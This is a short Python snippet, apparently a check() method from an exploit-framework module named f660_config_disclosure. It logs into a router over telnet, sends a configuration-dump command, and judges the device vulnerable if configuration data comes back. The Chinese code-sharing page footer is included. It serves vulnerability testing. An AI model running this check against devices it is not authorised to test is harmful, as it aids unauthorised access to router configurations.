def check(self):
try:
tn = telnetlib.Telnet(self.target, 23, timeout=10)
tn.expect(["Login: ", "login: "], 5)
tn.write(self.username + "\r\n")
tn.expect(["Password: ", "password"], 5)
tn.write(self.password + "\r\n")
tn.write(self.config + "\r\n")
(i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)
tn.close()
if i != -1:
return False # target is not vulnerable
else:
if any(map(lambda x: x in res, ["<DM name="])):
return True # target is vulnerable
except Exception:
return False # target is not vulnerable
return False # target is not vulnerable
f660_config_disclosure.py 文件源码
python
阅读 19
收藏 0
点赞 0
评论 0
评论列表
文章目录